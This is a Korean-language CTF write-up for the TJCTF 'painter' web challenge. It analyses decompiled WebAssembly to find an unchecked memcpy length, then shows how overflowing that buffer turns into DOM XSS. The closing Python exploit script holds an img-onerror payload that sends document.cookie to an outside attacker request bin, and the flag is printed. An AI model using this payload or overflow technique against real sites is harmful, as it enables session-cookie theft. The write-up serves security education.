painter


유사 그림판 컨셉인듯 하다.
Web Assembly 익스플로잇해서 admin bot의 쿠키 탈취가 목적이다.
Wasm 취약점 분석은 처음 해봐서 생소했다.
admin-bot.js 파일과 dockerfile, app.py, index.wasm 등이 주어진다.

Analysis

admin-bot.js

import flag from './flag.txt';

function sleep(time) {
    return new Promise(resolve => {
        setTimeout(resolve, time);
    });
}

export default {
    id: 'painter',
    name: 'painter',
    urlRegex: /^https:\/\/painter\.tjc\.tf\//,
    timeout: 10000,
    handler: async (url, ctx) => {
        const page = await ctx.newPage();
        await page.goto('https://painter.tjc.tf', { waitUntil: 'domcontentloaded' });

        await page.setCookie({
            name: 'flag',
            value: flag.trim(),
            domain: 'painter.tjc.tf',
        });

        await sleep(1000);

        await page.goto(url, { timeout: 10000, waitUntil: 'domcontentloaded' });
        await sleep(10000);
    }
};


admin bot 사이트 접속하면 url을 받아서 거기에 요청을 보내는 것을 알 수 있다.
쿠키에 flag가 들어있다.
쿠키 탈취가 목적이다.

Dockerfile

FROM python:3.8.5-slim-buster

RUN pip install flask gunicorn
WORKDIR /app
COPY . .

EXPOSE 5000

ENTRYPOINT ["gunicorn", "-b", "0.0.0.0:5000", "-t", "4", "app:app"]

app.py

from flask import Flask, render_template, redirect, request
from uuid import uuid4

app = Flask(__name__)

images = {}


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/save', methods=['POST'])
def post_image():
    img, name = request.json['img'], request.json['name']
    id = uuid4()
    images[id] = {
        'img': img,
        'name': name
    }
    return redirect('/img/' + str(id))


@app.route('/img/<uuid:id>')
def image_id(id):
    if id not in images:
        return redirect('/')

    img = images[id]['img']
    name = images[id]['name']
    return render_template('index.html', px=img, name=name, saved=True)


if __name__ == '__main__':
    app.run(debug=True)

이미지를 저장하거나 볼 수 있는 것 같다.

index.html

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

    <style>
        body {
            height: 100vh;
            width: 100%;
            margin: 0;
            display: grid;
            justify-items: center;
            align-items: center;
            text-align: left;
        }

        #options {
            display: flex;
            flex-direction: row;
            justify-content: space-between;
        }

        #canvas {
            border: 1px solid black;
            height: 75vh;
            max-height: 1000px;
            image-rendering: pixelated;
        }

    </style>
</head>

<body>

    <div>
        <h1 id="name-h1"></h1>
        <canvas id="canvas" tabindex="-1"></canvas>
        <div>
            <input type="color" id="color-picker">
            <select id="layers">
                <option value="0">Top Layer</option>
                <option value="1">Middle Layer</option>
                <option value="2">Bottom Layer</option>
            </select>
            <input type="text" id="name" placeholder="Name">
            <button id="save">Save</button>
        </div>
    </div>

    <script type="text/javascript">
        const canvas = document.getElementById('canvas');
        Module = {
            canvas: canvas
        };

        window.addEventListener('keydown', (e) => {
            e.stopImmediatePropagation();
        }, true);

        window.addEventListener('keyup', (e) => {
            e.stopImmediatePropagation();
        }, true);

        const strToCharArr = (str) => {
            const ptr = _malloc(str.length + 1);
            Module.stringToUTF8(str, ptr, str.length + 1);
            return ptr;
        };

        const base64ToArr = (enc) => {
            const binary = atob(enc);
            const bytes = new Uint8Array(binary.length);
            for (let i = 0; i < bytes.length; i++) {
                bytes[i] = binary.charCodeAt(i);
            }

            return bytes;
        }

        const arrToCharArr = (arr) => {
            const ptr = _malloc(arr.length);
            Module.writeArrayToMemory(arr, ptr);
            return ptr;
        }

        const setName = () => {
            const name = UTF8ToString(_getName());
            document.getElementById('name-h1').innerHTML = name;
        }

        Module.onRuntimeInitialized = () => {
            _clearCanvas();

            {% if saved %}

            const px = '{{ px }}';
            const name = '{{ name }}';

            _clearCanvas();
            const bin = base64ToArr(px); // get img binary
            const arr = arrToCharArr(bin); 
            _copyCanvas(arr, bin.length);
            _setName(strToCharArr(name), name.length);

            {% endif %}

            document.addEventListener('mousemove', (e) => {
                const rect = canvas.getBoundingClientRect();
                const scale = canvas.width / rect.width;
                _draw((e.clientX - rect.left) * scale, (e.clientY - rect.top) * scale);
            });

            document.addEventListener('mousedown', (e) => {
                _toggleLeftMouseButton(1);
            });

            document.addEventListener('mouseup', (e) => {
                _toggleLeftMouseButton(0);
            });

            document.getElementById('color-picker').addEventListener('input', (e) => {
                const c = e.target.value.match(/[0-9a-fA-F]{2}/g).map(v => parseInt(v, 16));
                _setColor(...c);
            });

            document.getElementById('layers').addEventListener('change', (e) => {
                _setLayer(parseInt(e.target.value));
            });

            document.getElementById('name').addEventListener('input', (e) => {
                const name = e.target.value;
                _setName(strToCharArr(name), name.length);
            });

            document.getElementById('save').addEventListener('click', (e) => {
                const out = new Uint8Array(4 * canvas.width * canvas.height * 3);

                for (let i = 0; i < 3; i++) {
                    const layerPtr = _getLayer(i);
                    const layer = new Uint8Array(Module.HEAPU8.buffer, layerPtr, 4 * canvas.width * canvas.height);
                    out.set(layer, 4 * canvas.width * canvas.height * i);
                }

                const binary = btoa(String.fromCharCode(...out));
                const name = document.getElementById('name').value;

                fetch('/save', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        name: name,
                        img: binary
                    })
                }).then((res) => {
                    if (res.status === 200) {
                        navigator.clipboard.writeText(res.url);
                        alert('Save URL copied to clipboard!');
                    } else {
                        alert('Failed to save!');
                    }
                });
            })
        };
    </script>

    <script src="/static/index.js"></script>
</body>

</html>

저장할때 /save로 보내는 것을 알 수 있다.
wasm function들을 사용해서 처리한다.
index.js에서 export 하는 부분을 확인할 수 있다.

index.js

...
var asm = createWasm();
/** @type {function(...*):?} */
var ___wasm_call_ctors = createExportWrapper("__wasm_call_ctors");
/** @type {function(...*):?} */
var _getName = Module["_getName"] = createExportWrapper("getName");
/** @type {function(...*):?} */
var _getLayer = Module["_getLayer"] = createExportWrapper("getLayer");
/** @type {function(...*):?} */
var _setName = Module["_setName"] = createExportWrapper("setName");
/** @type {function(...*):?} */
var _free = createExportWrapper("free");
/** @type {function(...*):?} */
var _copyCanvas = Module["_copyCanvas"] = createExportWrapper("copyCanvas");
/** @type {function(...*):?} */
var _setColor = Module["_setColor"] = createExportWrapper("setColor");
/** @type {function(...*):?} */
var _setLayer = Module["_setLayer"] = createExportWrapper("setLayer");
/** @type {function(...*):?} */
var _toggleLeftMouseButton = Module["_toggleLeftMouseButton"] = createExportWrapper("toggleLeftMouseButton");
/** @type {function(...*):?} */
var _draw = Module["_draw"] = createExportWrapper("draw");
/** @type {function(...*):?} */
var _clearCanvas = Module["_clearCanvas"] = createExportWrapper("clearCanvas");
/** @type {function(...*):?} */
var _loop = Module["_loop"] = createExportWrapper("loop");
/** @type {function(...*):?} */
var _main = Module["_main"] = createExportWrapper("main");
/** @type {function(...*):?} */
var _malloc = createExportWrapper("malloc");
/** @type {function(...*):?} */
var ___errno_location = createExportWrapper("__errno_location");
/** @type {function(...*):?} */
var ___dl_seterr = createExportWrapper("__dl_seterr");
/** @type {function(...*):?} */
var _fflush = Module["_fflush"] = createExportWrapper("fflush");
/** @type {function(...*):?} */
var _emscripten_stack_init = function() {
  return (_emscripten_stack_init = Module["asm"]["emscripten_stack_init"]).apply(null, arguments);
};

/** @type {function(...*):?} */
var _emscripten_stack_get_free = function() {
  return (_emscripten_stack_get_free = Module["asm"]["emscripten_stack_get_free"]).apply(null, arguments);
};

/** @type {function(...*):?} */
var _emscripten_stack_get_base = function() {
  return (_emscripten_stack_get_base = Module["asm"]["emscripten_stack_get_base"]).apply(null, arguments);
};

/** @type {function(...*):?} */
var _emscripten_stack_get_end = function() {
  return (_emscripten_stack_get_end = Module["asm"]["emscripten_stack_get_end"]).apply(null, arguments);
};
...

대충 함수 export를 해준다.

index.wasm

아래 디컴파일러를 사용해서 분석했다.
wabt보다 훨씬 좋다.
https://github.com/wasmkit/diswasm

wasm 선형 메모리 얘기는 그냥 오프셋 가지고 메모리에 접근하는 것을 얘기하는 것 같다.
wasm은 따로 ASLR 같은 메모리 보호 기법이 없다.
global variable같은 것들은 그래서 주소가 하드코딩 되어있는듯? 하다.

setName()

// O[0] Decompilation of $func238, known as $func5
export "setName"; // $func238 is exported to "setName"
void $func5(int arr, int param1) {
  // offset=0xc
  int ar;
  // offset=0x8
  int local_8;
  // offset=0x4
  int local_4;

  ar = arr;
  local_8 = param1;
  label$1: {
    label$2: {
      if ((((local_8 >= 0x8) & 0x1) == 0x0)) break label$2;
      break label$1;
    };
  };
  local_8 = local_8;
  local_4 = 0x0;
  label$3: {
    while (1) {
      if ((((local_4 < local_8) & 0x1) == 0x0)) break label$3;
      *((unsigned char *) local_4 + 0x2191c) = *((unsigned char *) (ar + local_4));
      local_4 = (local_4 + 0x1);
      break label$4;
    break ;
    };
  };
  *((unsigned char *) local_8 + 0x2191c) = 0x0;
  $free(ar);
  return;
}

0x2191c가 Name이다.

copyCanvas()

// O[0] Decompilation of $func239, known as $func6
export "copyCanvas"; // $func239 is exported to "copyCanvas"
void $func6(int target, int length) {
  // offset=0xc
  int t;
  // offset=0x8
  int l;

  t = target;
  l = length;
  $memcpy((0x2091c + 0x1008), t, l); // 0x21924 
  $free(t);
  return;
}

0x21924에 length 만큼 복사한다.

getLayer()

// O[0] Decompilation of $func237, known as $func4
export "getLayer"; // $func237 is exported to "getLayer"
int $func4(int param0) {
  // offset=0xc
  int local_c;

  local_c = param0;
  return ((0x2091c + 0x1008) + (local_c << 0xc));
}

0x21924가 Layer인 것 같다.

main()


// O[2] Disassembly of $func248, known as $func15
export "main"; // $func248 is exported to "main"
int $func15(int param0, int param1) {
  // local index=2
  int local2;

  local2 = $func13();
  return local2;
}

func13()


// O[2] Disassembly of $func246, known as $func13
int $func13() {
  // local index=0
  int local0;
  // local index=1
  int local1;
  // local index=2
  int local2;
  // local index=3
  int local3;
  // local index=4
  int local4;
  // local index=5
  int local5;
  // local index=6
  int local6;
  // local index=7
  int local7;
  // local index=8
  int local8;
  // local index=9
  int local9;
  // local index=10
  int local10;
  // local index=11
  int local11;
  // local index=12
  int local12;
  // local index=13
  int local13;
  // local index=14
  int local14;

  local0 = 0x20;
  $func18(local0);
  local1 = 0x20;
  local2 = 0x0;
  local3 = 0x20914;
  local4 = 0x20910;
  $func476(local1, local1, local2, local3, local4);
  local5 = 0x303;
  local6 = 0x0;
  $func80(local5, local6);
  local7 = 0x0;
  local8 = 0x20;
  local9 = $func670(local7, local8, local8, local8, local7, local7, local7, local7);
  local10 = 0x0;
  *((unsigned int *) local10 + 0x20918) = local9;
  local11 = 0x1;
  local12 = 0x0;
  local13 = 0x1;
  fimport_emscripten_set_main_loop(local11, local12, local13); // executes exported function named "loop" every tick
  local14 = 0x0;
  return local14;
}

tick 마다 “loop” 함수를 실행한다.
호스트 환경에서 실행시켜주기 때문에 “loop"는 export 해야 한다.

loop()

// O[0] Decompilation of $func245, known as $func12
export "loop"; // $func245 is exported to "loop"
void $func12() {
  // offset=0x1c
  int local_1c;
  // offset=0x18
  int local_18;
  // offset=0x14
  int local_14;
  // offset=0x10
  int local_10;
  // offset=0xc
  int local_c;

  label$1: {
    if (((*((unsigned int *) *((unsigned int *) 0x20918)) & 0x2) == 0x0)) break label$1;
    $func686(*((unsigned int *) 0x20918));
  };
  local_1c = *((unsigned int *) *((unsigned int *) 0x20918) + 0x14);
  local_18 = 0x0;
  label$2: {
    while (1) {
      if ((((local_18 < (*((unsigned short *) 0x24924) & 0xffff)) & 0x1) == 0x0)) break label$2;
      local_14 = 0x0;
      local_10 = 0x0;
      label$4: {
        while (1) {
          if ((((local_10 < 0x3) & 0x1) == 0x0)) break label$4;
          label$6: {
            if ((*((unsigned char *) (((0x2091c + 0x1008) + (local_10 << 0xc)) + (local_18 + 0x3))) & 0xff)) break label$6;
            local_14 = local_10;
            break label$4;
          };
          local_10 = (local_10 + 0x1);
          break label$5;
        break ;
        };
      };
      *((unsigned char *) local_18 + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + local_18));
      *((unsigned char *) (local_18 + 0x1) + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x1)));
      *((unsigned char *) (local_18 + 0x2) + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x2)));
      *((unsigned char *) (local_18 + 0x3) + 0x2091c) = (0xff - (*((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x3))) & 0xff)); // 4번째 -> 0xff 뺴기
      local_18 = (local_18 + 0x4);
      break label$3;
    break ;
    };
  };
  fimport_emscripten_run_script(0x14fac /* "setName()" */ );
  $memcpy(local_1c, 0x2091c, 0x1000);
  label$7: {
    if (((*((unsigned int *) *((unsigned int *) 0x20918)) & 0x2) == 0x0)) break label$7;
    $func687(*((unsigned int *) 0x20918));
  };
  local_c = $func489(*((unsigned int *) 0x20910), *((unsigned int *) 0x20918));
  $func496(*((unsigned int *) 0x20910));
  $func499(*((unsigned int *) 0x20910), local_c, 0x0, 0x0);
  $func502(*((unsigned int *) 0x20910));
  $func488(local_c);
  return;
}

0x2091c에 0x24924만큼 0x21924를 복사한다.

대충 이제 구조를 그려보면

0x24924 -> count // while loop copy cnt
0x21924 -> Layers
0x2191c -> Name 
0x2091c -> pixels
Updated every tick
0x2091c = 0x21924

이런 전역 구조체? 정도로 생각할 수 있다.

4바이트씩 복사를 해주는데 이상하게 마지막 바이트는 0xff에서 빼서 넣어준다.

Exploitation

index.html의 일부를 보면 아래와 같다.

				const binary = btoa(String.fromCharCode(...out));
                const name = document.getElementById('name').value;

                fetch('/save', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        name: name,
                        img: binary
                    })
                }).then((res) => {
                    if (res.status === 200) {
                        navigator.clipboard.writeText(res.url);
                        alert('Save URL copied to clipboard!');
                    } else {
                        alert('Failed to save!');
                    }
                });

binary는 클라이언트단에서 컨트롤이 가능하다.

            {% if saved %}

            const px = '{{ px }}';
            const name = '{{ name }}';

            _clearCanvas();
            const bin = base64ToArr(px); // get img binary
            const arr = arrToCharArr(bin); 
            _copyCanvas(arr, bin.length);
            _setName(strToCharArr(name), name.length);

            {% endif %}

_copyCanvas를 호출하면서 length에 대한 경계 체크가 없다.

  $memcpy((0x2091c + 0x1008), t, l); // 0x21924 
  $free(t);

l을 컨트롤할 수 있다.
t는 malloc으로 할당받은 버퍼다.

0x24924 -> count // while loop copy cnt
0x21924 -> Layers
0x2191c -> Name 
0x2091c -> pixels
Updated every tick
0x2091c = 0x21924

여기서 overflow를 내서 count를 덮을 수 있다.

그리고 tick 마다 loop가 호출된다.

label$2: {
    while (1) {
      if ((((local_18 < (*((unsigned short *) 0x24924) & 0xffff)) & 0x1) == 0x0)) break label$2;
      local_14 = 0x0;
      local_10 = 0x0;
      label$4: {
        while (1) {
          if ((((local_10 < 0x3) & 0x1) == 0x0)) break label$4;
          label$6: {
            if ((*((unsigned char *) (((0x2091c + 0x1008) + (local_10 << 0xc)) + (local_18 + 0x3))) & 0xff)) break label$6;
            local_14 = local_10;
            break label$4;
          };
          local_10 = (local_10 + 0x1);
          break label$5;
        break ;
        };
      };
      *((unsigned char *) local_18 + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + local_18));
      *((unsigned char *) (local_18 + 0x1) + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x1)));
      *((unsigned char *) (local_18 + 0x2) + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x2)));
      *((unsigned char *) (local_18 + 0x3) + 0x2091c) = (0xff - (*((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x3))) & 0xff)); // 4번째 -> 0xff 뺴기
      local_18 = (local_18 + 0x4);
      break label$3;
    break ;
    };
if ((((local_18 < (*((unsigned short *) 0x24924) & 0xffff)) & 0x1) == 0x0)) break label$2;

count를 overflow로 덮어서 얼마나 copy할지를 컨트롤 할 수 있다.
이때 Layer(0x2091c + 0x1008)가 pixels(0x2091c)로 4 바이트씩 copy된다.

if ((((local_10 < 0x3) & 0x1) == 0x0)) break label$4;
          label$6: {
            if ((*((unsigned char *) (((0x2091c + 0x1008) + (local_10 << 0xc)) + (local_18 + 0x3))) & 0xff)) break label$6;
            local_14 = local_10;

여기 if문에서 local_14가 0이 아니게 되어버리면, « 0xc 때문에 0x1000 단위로 커져버린다.
여기서 if문을 안타고 들어가게 하려면 local_18은 증가하게 냅두고 그냥 payload를 넉넉하게 채우면 우회할 수 있다.

0x24924 -> count // while loop copy cnt
0x21924 -> Layers
0x2191c -> Name 
0x2091c -> pixels
Updated every tick
0x2091c = 0x21924

이때 적절한 count로 덮고 copy를 통해서 pixels에서 Name을 덮어버리면 나중에 loop에서 index.html의 setName을 호출해서 tick 마다 Name을 업데이트한다.

        const setName = () => {
            const name = UTF8ToString(_getName());
            document.getElementById('name-h1').innerHTML = name;
        }
      *((unsigned char *) (local_18 + 0x2) + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x2)));
      *((unsigned char *) (local_18 + 0x3) + 0x2091c) = (0xff - (*((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x3))) & 0xff)); // 4번째 -> 0xff 뺴기
      local_18 = (local_18 + 0x4);
      break label$3;
    break ;
    };
  };
  fimport_emscripten_run_script(0x14fac /* "setName()" */ );

원래 flask 템플릿에서 막혀서 xss를 트리거할 수 없을텐데 Name을 덮고 wasm 단에서 바꾸게 해버리면 xss를 트리거할 수 있다.

Exploit script

import base64
import requests
from pwn import p8,p16
BASE_URL = 'https://painter.tjc.tf'
attackerURL = 'https://qivuygm.request.dreamhack.games'

'''
0x24924 -> count // while loop copy cnt
0x21924 -> Layers
0x2191c -> Name 
0x2091c -> pixels
Updated every tick
0x2091c = 0x21924

'''
injection = f"<img src=@ onerror=window.location='{attackerURL}?flag='+document.cookie>"
def paygen(string : bytes):
    '''
    *((unsigned char *) local_18 + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + local_18));
      *((unsigned char *) (local_18 + 0x1) + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x1)));
      *((unsigned char *) (local_18 + 0x2) + 0x2091c) = *((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x2)));
      *((unsigned char *) (local_18 + 0x3) + 0x2091c) = (0xff - (*((unsigned char *) (((0x2091c + 0x1008) + (local_14 << 0xc)) + (local_18 + 0x3))) & 0xff)); // 4번째 -> 0xff 뺴기
    '''
    pay = b''
    for i in range(len(string)):
        if (i+1) % 4 == 0:
            pay += p8(0xff-string[i])
        else:
            pay += p8(string[i])
    return pay
pay = b'\xff'*(0x2191c- 0x2091c)
pay += paygen(injection.encode())
pay += b'\x00'*4
pay += b'\xff' * ((0x24924- 0x21924)-len(pay))
# pixels overflow 
'''
export "copyCanvas"; // $func239 is exported to "copyCanvas"
void $func6(int target, int length) {
  // offset=0xc
  int t;
  // offset=0x8
  int l;

  t = target;
  l = length;
  $memcpy((0x2091c + 0x1008), t, l); // 0x21924 
  $free(t);
  return;
}
            const bin = base64ToArr(px); // get img binary
            const arr = arrToCharArr(bin); 
            _copyCanvas(arr, bin.length);
'''
pay += p16(0x1000+len(injection)+4)
pay += b'\xff'*(0x70-2)
# print(pay[0x1000:0x1030])
# print(hex(pay[0x3000]),hex(pay[0x3001]))

# print(hex(len(pay)))
re = requests.post(f'{BASE_URL}/save', json={
    'img': base64.b64encode(pay).decode(),
    'name': 'exploit'
})
print(re.url)

admin bot한테 url주고 돌리면 flag 나온다.

tjctf{m0n4_l1s4_1s_0verr4t3d_e2187c9a}